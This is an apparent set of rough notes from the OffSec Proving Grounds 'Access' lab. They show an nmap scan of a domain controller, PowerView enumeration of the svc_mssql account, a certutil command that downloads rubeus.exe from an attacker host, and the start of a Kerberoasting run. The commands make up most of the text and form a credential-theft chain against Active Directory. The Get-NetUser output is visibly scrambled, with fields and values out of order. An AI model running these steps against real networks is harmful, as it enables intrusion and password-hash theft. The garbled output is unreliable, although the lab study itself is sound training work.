Access Proving Grounds

```
nmap --min-rate 1000 -Pn -p- -vvv 192.168.163.187
```

```
53/tcp
                               syn-ack
80/tcp
                               syn-ack
88/tcp
         open kerberos-sec
                               syn-ack
135/tcp
                               syn-ack
139/tcp
        open netbios-ssn
                               syn-ack
389/tcp
                               syn-ack
445/tcp
         open microsoft-ds
                               syn-ack
464/tcp
                               syn-ack
593/tcp open http-rpc-epmap
                               syn-ack
636/tcp
                               syn-ack
3268/tcp open globalcatLDAP
                               syn-ack
3269/tcp open globalcatLDAPssl syn-ack
5985/tcp open wsman
                               syn-ack
9389/tcp open adws
                               syn-ack
49666/tcp open unknown
                               syn-ack
49668/tcp open unknown
                               syn-ack
49673/tcp open unknown
                               syn-ack
49674/tcp open unknown
                               syn-ack
49677/tcp open unknown
                               syn-ack
49706/tcp open unknown
                               syn-ack
```

priv esc

PS C:\temp> get-netuser svc_mssql company : Access logoncount : 1 badpasswordtime : 5/24/2024 7:33:28 PM distinguishedname : CN=MSSQL,CN=Users,DC=access,DC=offsec objectclass : {top, person, organizationalPerson, user} lastlogontimestamp : 4/8/2022 2:40:02 AM : MSSQL name : S-1-5-21-537427935-490066102-1511301751-1104 objectsid : svc_mssql samaccountname codepage : 0 : USER_OBJECT samaccounttype accountexpires : NEVER : 0 countrycode : 7/6/2022 5:23:18 PM whenchanged instancetype : 16414 usncreated objectguid : 05153e48-7b4b-4182-a6fe-22b6ff95c1a9 : 12/31/1600 4:00:00 PM lastlogoff objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=access,DC=offsec dscorepropagationdata : 1/1/1601 12:00:00 AM serviceprincipalname : MSSQLSvc/DC.access.offsec givenname : MSSQL lastlogon : 4/8/2022 2:40:02 AM badpwdcount : 1 cn : MSSQL useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD whencreated : 4/8/2022 9:39:43 AM : 513 primarygroupid : 5/21/2022 5:33:45 AM pwdlastset msds-supportedencryptiontypes : 0 usnchanged : 73754

upload rubeus.exe

certutil -urlcache -f http://<ip>/rubeus.exe rubeus.exe
. .\rubeus.exe kerberoast /nowrap



[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain : access.offsec [*] Searching path 'LDAP://SERVER.access.offsec/DC=access,DC=offsec' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2 .840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1